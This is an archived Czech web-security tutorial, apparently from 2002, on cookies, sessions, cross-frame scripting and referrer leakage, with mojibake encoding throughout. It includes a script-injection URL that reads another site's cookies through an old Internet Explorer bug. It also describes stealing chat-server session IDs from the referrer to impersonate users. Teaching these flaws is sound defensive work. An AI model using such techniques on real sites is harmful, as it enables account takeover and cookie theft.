home *** CD-ROM | disk | FTP | other *** search
/ Chip 2003 April / Chip_2003-04_cd1.bin / tema / krypta / articles.php@ID=122 < prev    next >
Text File  |  2003-02-02  |  35KB  |  470 lines

  1. <!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
  2. <html>
  3. <head>
  4.  <title>Krypta.cz - PφÜeme bezpeΦnou webovou aplikaci - dφl 1.</title>
  5.  <link rel="StyleSheet" href="server/main.css" type="text/css">
  6.  <link rel="SHORTCUT ICON" href="server/favicon.ico">
  7.  <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  8.  <meta http-equiv="Cache-control" content="no-cache">
  9.  <meta http-equiv="Pragma" content="no-cache">
  10.  <meta http-equiv="Expires" content="0">
  11.  <meta name="robots" content="ALL,FOLLOW">
  12.  <meta http-equiv="Content-language" content="cs">
  13.  <meta name="description" content="Internetov² bezpeΦnostnφ portßl, zab²vajφcφ se kryptografiφ (Üifrovßnφm), ochranou dat, internetovou bezepeΦnostφ a poΦφtaΦov²mi viry">
  14.  <meta name="keywords" content="Üifrovßnφ cryptography pgp des aes rsa dss digital signatures pki linux free bezpeΦnost ochrana hacking cracking virus worm">
  15.  <meta name="copyright" content="Copyright (C) 2000-2002 Krypta.cz - <a href=mailto:michal.till@krypta.cz>Michal Till</a> a <a href=mailto:jan.kulveit@krypta.cz>Jan Kulveit</a>.">
  16.  <!-- No caching for this document.Trying to write to art122.html. ?> -->
  17.  
  18.  <!-- output.php -->
  19.  
  20.   <script language="JavaScript">
  21.   <!-- 
  22. //    if(top != self) { window.top.location.href=document.location; }  -->
  23.   </script>
  24.  
  25.  
  26. <!-- NAVRCHOLU.cz -->
  27. <script language="JavaScript" type="text/javascript">
  28. <!--
  29. pxDepth = screen.pixelDepth;
  30. if (!(pxDepth > 0))
  31.     pxDepth = screen.colorDepth;
  32. if (!(pxDepth > 0))
  33.     pxDepth = 0; 
  34. document.write("<img style=\"position:absolute; top:0px; left: 0px;\" src=\"../hit.navrcholu.cz/hit@id=00039669;n=1;screenx=" + screen.width + ";screeny=" + screen.height + ";cdepth=" + pxDepth + ";ref=" + escape(top.document.referrer) + "\" width=\"1\" height=\"1\" alt=\"\">");
  35. // -->
  36. </script>
  37. <noscript>
  38. <img style="position:absolute; top:0px; left: 0px;" src="../hit.navrcholu.cz/hit@id=00039669;n=1" width="1" height="1" alt="" border="0">
  39. </noscript>
  40. <!-- NAVRCHOLU.cz - konec -->
  41.  
  42. <STYLE Type=text/css>
  43.     BODY                { font-size:110%; background-color: #ffffff; color: #000000; margin: 0px;   background-image: url(images/backgr.gif); }
  44.  
  45.  
  46.  
  47.     .Copyright        { color: #000000; }
  48.     .Copyright A    { color: #000000; }
  49. </STYLE>
  50. </head>
  51. <SCRIPT>
  52. </SCRIPT><SCRIPT Src=charts.php@version=1621></SCRIPT><SCRIPT>
  53.  // Nalezeno  1 polozek. 
  54. var SectionTitles=new Array( "PφÜeme bezpeΦnou webovou aplikaci - dφl" , "    PROBL╔M PRVN═ : BezpeΦnost cookies a an" , "      PROBL╔M DRUH▌ : Cizφ k≤d a formulß°e" , "      Sessions" , "      Krademe sessions" , "      PROBL╔M T╪ET═ : Cross-frame scripting" , "    PROBL╔M ╚TVRT▌ : ╚tenφ URL a referrer" , "    Jak se brßnit?" , "      PROBL╔M P┴T▌ : ZbyteΦnΘ vystavovßnφ v" , "    Tedy, jak se brßnit? Problematick² Java" , "      PROBL╔M SEDM▌: Vklßdßnφ vlastnφch SQL" );
  55. var SectionURLs=new Array( "122" , "122#Title1" , "122#Title2" , "122#Title3" , "122#Title4" , "122#Title5" , "122#Title6" , "122#Title7" , "122#Title8" , "122#Title9" , "122#Title10" );
  56.  
  57. var BrothersNames = new Array("");
  58. var BrothersIDs = new Array("");
  59. //=====INFO======
  60. ItemName='Article122';
  61.  
  62. InIFrame='No';
  63. TableNum=2; 
  64. ItemID=122; 
  65. ArticleType='3'; 
  66. Action='articles'
  67. ItemTitle='PφÜeme bezpeΦnou webovou aplikaci - dφl 1.';
  68. ItemComment='PφÜeme bezpeΦnou webovou aplikaci - dφl 1.';
  69. TabName='Articles'
  70. Parent1Title='HTTP (WWW) & SSL' ;
  71. Parent2Title='BezpeΦnost internetu' ;
  72. Parent1ID='43' ;
  73. Parent2ID='22' ;
  74. ParentTitle='HTTP (WWW) & SSL' ;
  75. AuthorName='Michal Till' ;
  76. AuthorDesc='' ;
  77. AuthorEMail='Michal.Till@Seznam.cz' ;
  78. AuthorID='1' ;
  79. ItemDate='17.1.2002';
  80. Views='412' ;
  81. Average='1.50' ;
  82. Grade='1.5' ;
  83. NumVotes='4' ;
  84. SourceName='' ;
  85. SourceURL='' ;
  86. SourceLink='' ;
  87. Ref1URL='' ;
  88. Ref2URL='' ;
  89. Ref3URL='' ;
  90. Ref4URL='' ;
  91. Ref5URL='' ;
  92. Ref1Link='' ;
  93. Ref2Link='' ;
  94. Ref3Link='' ;
  95. Ref4Link='' ;
  96. Ref5Link='' ;
  97. Ref1Desc='' ;
  98. Ref2Desc='' ;
  99. Ref3Desc='' ;
  100. Ref4Desc='' ;
  101. Ref5Desc='' ;
  102. Possible=1 ;
  103. Answer1='' ;
  104. Answer2='' ;
  105. Answer3='' ;
  106. Answer4='' ;
  107. Answer5='' ;
  108. Num1='';
  109. Num2='';
  110. Num3='';
  111. Num4='';
  112. Num5='';
  113. Type= ''; //def
  114. WebName='Krypta.cz';
  115. //====ENDINFO======
  116.  
  117. </SCRIPT>
  118.  
  119. <BODY>
  120. <DIV Style="position:absolute;z-index:-50;left:190px;top:20px;"><FONT Face=Arial Size=2 Color=#a0a0a0>╚ekejte prosφm...<a href=text.php><FONT Face=Arial Size=2 Color=#a0a0a0>textovß verze</FONT></a></FONT></DIV>
  121.  
  122. </SCRIPT>
  123. <SCRIPT Language=JavaScript Src="server/startfeatures.php@Rand=ddd "> </SCRIPT><SCRIPT Language=JavaScript Src="server/features.php"> </SCRIPT><!-- Rozdeleni na sloupce -->
  124.  
  125. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%">
  126. <tr>
  127.  
  128. <!-- Levy sloupec -->
  129.  
  130.  
  131.  
  132. <td  width="161" align="center" valign="top">
  133.  
  134. <img src=space.gif height=1 width=161>
  135. <SCRIPT SRC=server/left_js.php@version=1621></SCRIPT></td>
  136.  
  137. <!-- /Levy sloupec -->
  138.  
  139. <!-- Mezera 1-->
  140. <td width=13 bgcolor="#006792" ><img src="images/spacer.gif" width="13" height="1" border="0" alt=""></td>
  141. <!-- /Mezera 1-->
  142.  
  143. <!-- Mezera 2 -->
  144. <td width=1 bgcolor=#1063A5><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  145. <!-- /Mezera 2-->
  146.  
  147. <!-- Mezera 3 -->
  148. <td width=10><img src="images/spacer.gif" width="10" height="1" border="0" alt=""></td>
  149. <!-- /Mezera 3-->
  150.  
  151.  
  152. <!-- Prostredni sloupec -->
  153. <td align="center" valign="top">
  154.  
  155. <!-- Hlavicka -->
  156. <!-- Horni lista s reklamou -->
  157.  
  158. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%" class="hrlista">
  159. <tr>
  160.  
  161. <!-- Logo-->
  162. <td VAlign=Top>
  163. <a href="default.htm"><img src="images/logo.gif"  style="z-index:100;" vspace=0 cwidth="222" cheight="48" border="0" alt="Krypta.cz - Magazφn o informaΦnφ bezpeΦnosti"></a>
  164. </td>
  165. <!-- /Logo -->
  166.  
  167. <td align=center>
  168. </td></tr></table>
  169. <!-- /Horni lista s reklamou-->
  170. <!-- /Hlavicka -->
  171.  
  172. <TABLE Width=100% Border=0><TD><SCRIPT>
  173. </SCRIPT><SCRIPT>
  174. ArticleHead('PφÜeme bezpeΦnou webovou aplikaci - dφl 1.', 'Michal Till', 'Michal.Till@Seznam.cz', '17.1.2002', '21:43:53', 'Nßvod');
  175. Intro('Vytvß°enφ webov²ch aplikacφ je stßle Φast∞jÜφ programßtorskß Φinnost. Aplikace a jejich slu₧by, kterΘ jsme dodnes znali pouze z klasickΘho program.exe-pojetφ se z pochopiteln²ch d∙vod∙ stßle Φast∞ji p°esouvajφ do sv∞ta internetu. Provoz takov²ch to aplikacφ je po poΦßteΦnφ investici jednoduÜÜφ, levn∞jÜφ rychlejÜφ a v∙bec tento zp∙sob poskytovßnφ slu₧eb mß v nespoΦetnΘ v²hody, ze kter²ch t∞₧φ ob∞ strany.');
  176. ArticleBanner_smallres('margin-bottom:10px;margin-top:-3px;');
  177. </SCRIPT>
  178. <DIV Class=Article><SCRIPT>
  179. AuthorData();
  180. if (Type != 'Pure') if ((ArticleType!=19) && (ArticleType!=20)) ShowSections();
  181. ArticleBanner_bigres('margin-top:12px;margin-bottom:-3px;');
  182. </SCRIPT><FONT Size=2><DIV Align=Justify Class=Paragraph>
  183.     Stejn∞ tak jako jinß prost°edφ, mß internet svß specifika v oblasti bezpeΦnosti, pro n∞j typickΘ a nikde jinde se nevyskytujφcφ. ZaΦφnajφcφ webov² programßtor, okouzlen jednoduchostφ a₧ primitivnostφ spojenφ Microsoftφho Personal Web Serveru a AccessovΘ databßze, mß Φasto pon∞kud laxnφ p°φstup k poznßnφ skuteΦnΘho jßdra v∞ci, co₧ se odrß₧φ v d∙sledcφch, kterΘ nejsou na prvnφ pohled vid∞t. Aplikace jako takovß funguje (pokud jφ jsou dßvßny data, kterß autor p°edpoklßdß), logovßnφ u₧ivatel∙ do systΘmu takΘ funguje a vÜechno se zdß b²ti v naprostΘm po°ßdku. Programßtor∙m Microsoft Passportu se to takΘ zdßlo, dokud je n∞kdo nevyvedl z omylu.
  184. </DIV></FONT></b></i>
  185. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  186.     Tento Φlßnek by m∞l p°edstavovat jak²si d∙kladn∞jÜφ äpr∙letô vÜemi zßkoutφmi a obtφ₧emi v programovacφch jazycφch (a skriptech) jako jsou HTML, JavaScript, PHP/ASP a SQL. Cφlem je upozornit na mo₧nΘ nedostatky a p°edejφt chybßm a potencionßlnφm dφrßm. äHacknutφô na tΘto ·rovni je podle mΘho nßzoru Φasto trapnΘ ne₧ cokoliv jinΘho. 
  187. </DIV></FONT></b></i>
  188. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  189.     ╚tenß°i p°ipomφnßme, ₧e na Krypt∞ ji₧ vyÜly dva dφly Φlßnku o bezpeΦnosti www, jejich₧ znalost zde p°edpoklßdßme. N∞kterΘ relevantnφ informace budou zopakovßny.
  190. </DIV></FONT></b></i>
  191. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  192.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> <a href=articles.php@ID=32>BezpeΦnost HTTP a WWW, dφl prvnφ</a></UL>
  193. </DIV></FONT></b></i>
  194. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  195.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> <a href=articles.php@ID=33>BezpeΦnost HTTP a WWW, dφl druh²</a></UL>
  196. </DIV></FONT></b></i>
  197. <A Name="Title1"><FONT Size=3><DIV Class=Headline>PROBL╔M PRVN═ : BezpeΦnost cookies a anonymita</DIV></font>
  198. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  199.     O bezpeΦnosti cookies byl mohl b²t napsßn cel² Φlßnek. Pravda je takovß, ₧e server vßm na poΦφtaΦ nem∙₧e ulo₧it ₧ßdnß ne₧ßdoucφ data, ka₧d² server m∙₧e podle specifikace ulo₧it maximßln∞ 20 cookies o dΘlce 4 kb. Mnoho lidφ ze strachu vypφnß cookies a divφ se proΦ jim to Φi ono na webu nefunguje. Dnes je tato technika velmi hojn∞ pou₧φvanß a lidΘ s vypnut²mi cookies jsou noΦnφ m∙rou webov²ch programßtor∙. AΦ se to m∙₧e zdßt podle nßzvu soubor∙ zvlßÜtnφ, cookies nejsou vßzßny na konkrΘtnφ jmΘno Φi e-mail. Jsou vßzßny pouze na urΦitou URL, nejΦast∞ji domΘnu druhΘho stupn∞ (server.cz). NicmΘn∞ m∙₧ou b²t svßzßny s jak²mkoliv adresß°em Φi dokumentem. U hojn∞ pou₧φvan²ch domΘn co.xx se cookie vß₧ou i na 3. stupe≥, tedy nap°. na firma.co.uk. Cookie m∙₧e Φφst pouze ten server, kter² ho odeslal. 
  200. </DIV></FONT></b></i>
  201. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  202.     Up°φmn∞ °eΦeno, minul² odstavec popisoval ideßlnφ p°φpad. P°esto₧e zamezenφ Φtenφ cookie jin²m serverem ne₧ tφm, kter² jej ulo₧il, je naprosto zßsadnφ bezpeΦnostnφ aspekt, chyby prohlφ₧eΦ∙ p°i kontrolovßnφ URL serveru nejsou nijak sporadick²m jevem, poslednφ velik² äboomô vyvolala chyba v Internet Exploreru, kterou si detailn∞ji popφÜeme.
  203. </DIV></FONT></b></i>
  204. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  205.     Explorer pou₧φvß ji₧ od verze 4.0 pro svΘ internφ ·Φely jak²si pseudo protokol äabout://ô. Nenφ to ₧ßdn² regulΘrnφ internetov² protokol, p°φkaz, uvozen² tφmto slovem, vyvolß urΦitou akci uvnit° prohlφ₧eΦe. Pokud nenφ ₧ßdn² p°φkaz rozpoznßn, text za about: se prost∞ vypφÜe. Zkuste si to sami. Pokud do panelu Adresa zadßte about:Text, Explorer vrßtφ HTML strßnku s obsahem<HTML>Text</HTML>. Nynφ si p°edstavme jak asi funguje kontrolovßnφ vlastnφka cookies. Z aktußlnφho URL se od°φzne protokol (ähttp://ô) a vyzkouÜφ se, zda takovßto adresa zleva odpovφdß atributu path (viz syntaxe) v ulo₧enΘm cookie (podrobn∞jÜφ url se ignoruje). Zde je podle mΘho nßzoru kßmen ·razu : Explorer nejspφÜe pova₧uje sv∙j about za regulΘrnφ protokol, tedy strßnka about://www.server.cz mß p°φstup ke cookies, kterΘ ulo₧il server http://www.server.cz, co₧ je docela zßsadnφ chyba. P°esv∞dΦφme se o tom, pokud do prohlφ₧eΦe URL about://www.navrcholu.cz/<SCRIPT>alert(document.cookie)</SCRIPT>. Zobrazφ se nßm kompletnφ v²pis vÜech cookies serveru navrcholu.cz (vybral jsem ho zßm∞rn∞, nebo¥ posφlß cookies s ka₧d²m stßhnutφm svΘho poΦφtadla a je tedy pravd∞podobnΘ, ₧e n∞jakΘ na svΘm poΦφtaΦi mßte).
  206. </DIV></FONT></b></i>
  207. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  208.     Je nutnΘ podotknout, ₧e chyba z n∞jakΘho d∙vodu nefunguje pod Windows °ady NT, tedy i 2k. Je mi zßhadou, proΦ vydßnφ p°φsluÜnΘ opravy trvalo Microsoftu 14 (!) dnφ. NicmΘn∞ bez aplikovßnφ zßplaty je Explorer nadßle d∞rav² a bezpeΦnost vaÜφ aplikace je tedy zßvislß na u₧ivatelov∞ äpoΦφtaΦovΘm rozhleduô. Nßvod a p°φklad, jak jeden server m∙₧e Φφst cookies jinΘho, jsme uve°ejnili na Krypt∞ (viz reference). 
  209. </DIV></FONT></b></i>
  210. <A Name="Title2"><FONT Size=3><DIV Class=Headline>
  211. PROBL╔M DRUH▌ : Cizφ k≤d a formulß°e</DIV></font>
  212. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  213.     Tento problΘm byl ji₧ d°φve na Krypt∞ diskutovßn v rßmci samostatnΘho Φlßnku.
  214. </DIV></FONT></b></i>
  215. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  216.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> <a href=articles.php@ID=110>Cizφ k≤d a formulß°e</a></UL>
  217. </DIV></FONT></b></i>
  218. <A Name="Title3"><FONT Size=3><DIV Class=Headline>
  219. Sessions</DIV></font>
  220. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  221.     Nebudu se ani pokouÜet o Φesk² p°eklad tohoto slova, proto₧e by to jednak bylo obtφ₧nΘ a navφc se ₧ßdn² Φesk² ekvivalent nepou₧φvß (snad mimo slova äsezenφô, kterΘ jß osbn∞ poklßdßm za dost Üroubovan² p°eklad). Pro nßzornou p°edstavivost si m∙₧eme toto slovo p°irovnat k n∞Φemu jako je spojenφ Φi b∞h. Session je jak²si zßznam na serveru, kter² se inicializuje p°i naÜem naΦtenφ prvnφ strßnky a skonΦφ bu∩ vyprÜenφm urΦitΘho ΦasovΘho intervalu, nebo pokud p°φmo klikneme na odkaz "odhlßsit se", typicky v n∞jakΘ webovΘ aplikaci. Hlavnφ v²hodou je, ₧e od tΘ doby si nßs server vede ve svΘ internφ databßzi a programßtor m∙₧e pou₧φvat prom∞nnΘ v rßmci tΘto session(y) [seÜny].
  222. </DIV></FONT></b></i>
  223. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  224.     Smysl pou₧φvßnφ sessions je v tom, ₧e pot°ebujeme zachovat urΦitou ätrasuô nßvÜt∞vnφkova pobytu na naÜem webu, resp. ₧e proÜel logovacφm procesem. 
  225. </DIV></FONT></b></i>
  226. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  227.     Typick² logovacφ mechanismus funguje asi nßsledovn∞. P°i prvnφm vstupu na web se na serveru zalo₧φ unikßtnφ u₧ivatelova session s jakousi pomyslnou prom∞nnou logged nastavenou na false. Po odeslßnφ p°ihlaÜovacφho formulß°e se porovnß jmΘno a heslo s ·daji v databßzi a v p°φpad∞ souhlasu se logged nastavφ na true. Od tΘto doby je nßvÜt∞vnφk prost°ednictvφm svΘ session na serveru p°ihlßÜen do webovΘ aplikace. P°i ka₧dΘm ·konu v nφ se testuje jestli je session platnß (a logged nastaveno na true) a jestli objekt, se kter²m se pracuje (nap°. heslo k u₧ivatelskΘmu ·Φtu) pat°φ tomu, kdo je pomocφ session nalogovßn. Nebo jinak: nap°φklad p°i zm∞n∞ hesla se musφ zkontrolovat, zda ho m∞nφm tomu ·Φtu, pod kter²m jsem nalogovßn. 
  228. </DIV></FONT></b></i>
  229. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  230.     Jak se takovΘto vlßkno udr₧φ? V principu jsou t°i mo₧nosti. HTTP autorizace, cookies a ID session v odkazu. A¥ je pou₧it jak²koliv zp∙sob, principem je, ₧e vÜechny HTTP dotazy se än∞kdeô identifikujφ jednoznaΦn²m °et∞zcem, zßvisl²m na p°ihlaÜovacφch ·dajφch.
  231. </DIV></FONT></b></i>
  232. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  233.     Klasickß HTTP autorizace je dob°e znßmß. P°i nalogovßnφ se nßm otev°e dialog se jmΘnem a heslem. Toto p°ihlaÜovacφ jmΘno a heslo si potΘ prohlφ₧eΦ pamatuje a posφlß ho p°i ka₧dΘm dotazu.
  234. </DIV></FONT></b></i>
  235. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  236.     V dobßch, kdy poΦet browser∙ s vypnut²mi cookies p°edstavoval nezanedbatelnΘ procento, se pou₧φvalo p°edßvßnφ unikßtnφho session ID v odkazech. Po nalogovßnφ do webovΘ aplikace m∞l ka₧d² odkaz tvar
  237. </DIV></FONT></b></i>
  238. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  239.     <SPAN Class=CODE><A Href=nejaka_stranka.php?SessionID=1234567890ABCDEF></SPAN>
  240. </DIV></FONT></b></i>
  241. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  242.     resp. ve vÜech formulß°φch bylo pou₧ito neviditelnΘ pole : 
  243. </DIV></FONT></b></i>
  244. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  245.     <SPAN Class=CODE><INPUT Type=Hidden Name=SessionID Value=1234567890ABCDEF></SPAN>
  246. </DIV></FONT></b></i>
  247. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  248.     Takto se unikßtnφ identifikßtor SessionID p°edßvß ze strßnky na strßnku. P°i ztrßt∞ äkontinuityô prohlφ₧enφ je nutnΘ se p°elogovat. Tato metoda se Φasto pou₧φvß i dnes, nicmΘn∞ z programßtorskΘho hlediska p°edstavuje jistou zbyteΦnou nßmahu navφc. 
  249. </DIV></FONT></b></i>
  250. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  251.     Asi nejpou₧φvan∞jÜφ metoda udr₧enφ session jsou cookies. SessionID se prost∞ poÜle p°i nalogovßnφ jako cookie, browser si ho zapamatuje a p°i ka₧dΘm HTTP dotazu ho v hlaviΦce posφlß zp∞t serveru. Kontrolovßnφ platnosti probφhß obvykl²m zp∙sobem. 
  252. </DIV></FONT></b></i>
  253. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  254.     R∙znΘ implementace bezpeΦnΘho logovßnφ mohou v URL (vlastn∞ v∙bec ve vÜech t°ech p°φpadech) p°enßÜet libovoln² °et∞zec, nemusφ v₧dy jφt o jakΘsi IDΦko äsezenφô. A¥ u₧ jde o bezpeΦnostnφ k≤d nebo cokoliv jinΘho, ädobytφô tΘto hodnoty obvykle znamenß mo₧nost duplikace identity (jednßnφ pod cizφm jmΘnem apodà), tedy vlastn∞ pr∙nik do systΘmu.
  255. </DIV></FONT></b></i>
  256. <A Name="Title4"><FONT Size=3><DIV Class=Headline>
  257. Krademe sessions</DIV></font>
  258. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  259.     Pokud nenφ spojenφ klient-server zabezpeΦenΘ n∞jak²m asymetrick²m Üifrovßnφm, je v₧dy mo₧nΘ z odposlechu komunikaci okopφrovat a vydßvat se tak za n∞koho jinΘho (za nalogovanΘho Φlov∞ka). Tomuto termφnu se odborn∞ °φkß äukradnout sezenφô.
  260. </DIV></FONT></b></i>
  261. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  262.     Je jasnΘ, ₧e klφΦem ke vÜemu je ta kouzelnß prom∞nnß SessionID. Jakmile jφ zφskßme, m∙₧eme jak²koliv dotaz replikovat. 
  263. </DIV></FONT></b></i>
  264. <A Name="Title5"><FONT Size=3><DIV Class=Headline>
  265. PROBL╔M T╪ET═ : Cross-frame scripting</DIV></font>
  266. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  267.     Pojem, kter² mß jist∞ ve sv∞t∞ webovΘ bezpeΦnosti mφsto, je tzv. cross-frame scripting. 
  268. </DIV></FONT></b></i>
  269. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  270.     Firma Microsoft p°inesla se sv²m Explorerem 4.0 takzvanΘ DHTML. Nevφm, zda je to p∙vodn∞ jejich myÜlenka, nicmΘn∞ v dobßch Φty°kov²ch verzφch obou prohlφ₧eΦ∙ to byl rozhodn∞ skok dop°edu, revoluΦnφ technologie, kterß odsunula tehdejÜφ Navigator hluboko do pozadφ. DynamickΘ HTML samo o sob∞ nic nenφ, je to pouze pojmutφ äv∞cφô na HTML strßnce jako jednotlivΘ objekty s vlastnφmi udßlostmi a metodami, a jejich za°azenφ do jednoho velikΘho stromu. 
  271. </DIV></FONT></b></i>
  272. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  273.     ┌pln∞ naho°e je objekt window. Pod n∞j spadajφ jednotlivΘ rßmy (frames) se sv²mi dokumenty. Z filozofie takovΘhoto hierarchickΘho Φlen∞nφ je mo₧nΘ z jednoho rßmu p°istupovat k obsahu rßmu druhΘho, co₧ s sebou nese jistß bezpeΦnostnφ rizika. Nap°φklad v podob∞ v²Üe popsanΘho skriptu. Shr≥me si nynφ, jakß jsou prßva jednotliv²ch rßm∙ a kam m∙₧ou p°istupovat.
  274. </DIV></FONT></b></i>
  275. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  276.     Dokumenty k sob∞ mohou navzßjem p°istupovat, pouze pokud se shodujφ jejich ädomΘnovΘô URL. V podstat∞ by zde mohlo b²t uvedeno totΘ₧ co u cookies, vΦetn∞ v²jimek u n∞kter²ch hojn∞ pou₧φvan²ch domΘn druhΘho stupn∞. Navφc HTTP obsah nem∙₧e p°istupovat k HTTPS obsahu (Secure Socket Layer). Omezenφ jsou zde i v p°φpad∞ Φtenφ cizφ URL, co₧ by se ·toΦnφkovi mohlo p°φpadn∞ hodit ke Φtenφ SessionID z aktußlnφ adresy. V tabulce vidφte mo₧nosti manipulovßnφ s adresami jednotliv²ch rßm∙.
  277. </DIV></FONT></b></i>
  278. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  279.     
  280. Mo₧nosti manipulovßnφ s parametrem SRC (tj. URL) framu cizφ domΘny: 
  281. </DIV></FONT></b></i>
  282. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  283.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> <SPAN Class=CODE>window.location</SPAN> <br>     Vlastnost m∙₧e b²t nastavovßna pro navigovßnφ ale ne Φtena </UL>
  284. </DIV></FONT></b></i>
  285. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  286.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> Ostatnφ funkce <SPAN Class=CODE>location</SPAN> <br>      Jsou zablokovßny</UL>
  287. </DIV></FONT></b></i>
  288. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  289.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> <SPAN Class=CODE>document.href</SPAN> <br>    Vlastnost m∙₧e b²t nastavovßna pro navigovßnφ ale ne Φtena<br></UL>
  290. </DIV></FONT></b></i>
  291. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  292.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> Ostatnφ funkce <SPAN Class=CODE>document</SPAN> <br>    Jsou zablokovßny<br></UL>
  293. </DIV></FONT></b></i>
  294. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  295.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> <SPAN Class=CODE><IFRAME> src</SPAN>    Vlastnost m∙₧e b²t nastavovßna pro navigovßnφ ale ne Φtena</UL>
  296. </DIV></FONT></b></i>
  297. <A Name="Title6"><FONT Size=3><DIV Class=Headline>PROBL╔M ╚TVRT▌ : ╚tenφ URL a referrer</DIV></font>
  298. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  299.     Pokud pro p°enßÜenφ SessionID pou₧φvßme metodu parametru v aktußlnφ URL, musφme si dßt velme velik² pozor, abychom ji nevystavovali tam, kde hrozφ jejφ zkompromitovßnφ. Jinak °eΦeno, pozor na mφsta, kde se jaksi ävyvß₧φ venô. Jedno takovΘ ·skalφ je v ka₧dΘm HTTP dotazu : v tzv. referreru se p°edßvß adresa, kterß p°edchßzela po₧adavku aktußlnφmu, resp. strßnka, ze kterΘ bylo na tu aktußlnφ kliknuto. 
  300. </DIV></FONT></b></i>
  301. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  302.     VÜe dokumentuji na konkrΘtnφm p°φpad∞ chatovacφho serveru xchat, jeho bezpeΦnostnφ dφra byla nedßvno popisovßna na serveru Underground. Zkrßtka a jednoduÜe do äkecßnφô m∙₧ete psßt i HTTP odkazy, kterß jejich parser automaticky poznß a p°evede do äkliknutelnΘô formy. Tedy nap°φklad pokud napφÜete äAhoj MaruÜ, koukni se na http://www.krypta.czô, systΘm zobrazφ äAhoj MaruÜ, koukni se na <a href=http://www.krypta.cz<http://www.krypta.cz</a>ô. MaruÜ tedy nemusφ link opisovat, staΦφ kliknout. Jen₧e s kliknutφm se p°enese v referreru aktußlnφ URL vΦetn∞ bezpeΦnostnφho °et∞zce tedy www.xchat.cz/?secure=1234567890ABCDEF. Na cφlovΘ strßnce je mo₧nΘ ·daj zachytit a tφm zφskat takovß prßva do systΘmu, jakΘ m∞la naÜe ob∞¥. V tomto p°φpad∞ nebezpeΦnost popisovanΘ chyby nenφ a₧ tak hroznß, ·toΦnφk m∙₧e po ·sp∞ÜnΘm provedenφ ämaximßln∞ô chatovat pod cizφm jmΘnem nebo m∞nit nastavenφ. Daleko vφce se tento problΘm t²kß webov²ch e-mailov²ch klient∙, kte°φ podporujφ zobrazovßnφ HTML (a¥ u₧ v∞domky nebo nev∞domky ;-), afΘry v tΘto oblasti jsou starΘ pßr let. Referrer se p°edßvß i kdy₧ se novß strßnka otev°e v novΘm okn∞. V javascriptu je tak Φi onak dostupn² jako document.referrer. 
  303. </DIV></FONT></b></i>
  304. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  305.     
  306. Pokud je vaÜφm heslem änic nenechat nßhod∞ô a cφlov² systΘm je dostateΦn∞ tup², nenφ proΦ pou₧φvat odkazy. Pomocφ JavaScriptu si prost∞ strßnku p°esm∞rujeme : <SCRIPT>document.location=öàö à 
  307. </DIV></FONT></b></i>
  308. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  309.     Nenφ to ovÜem jenom p°i kliknutφ, kdy se tato operace d∞je. URL ärodiΦovskΘô strßnky se p°edßvß p°i ka₧dΘm dotazu, tedy i p°i naΦφtßnφ obrßzku! 
  310. </DIV></FONT></b></i>
  311. <A Name="Title7"><FONT Size=3><DIV Class=Headline>Jak se brßnit?</DIV></font>
  312. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  313.     NejjednoduÜÜφm °eÜenφm je eliminovat veÜkerΘ HTML prvky od u₧ivatele. Link si klidn∞ mohou opsat, maily jsou ΦitelnΘ i v plaintextovΘ podob∞. 
  314. </DIV></FONT></b></i>
  315. <FONT Size=2><DIV Align=Justify Class=Paragraph>
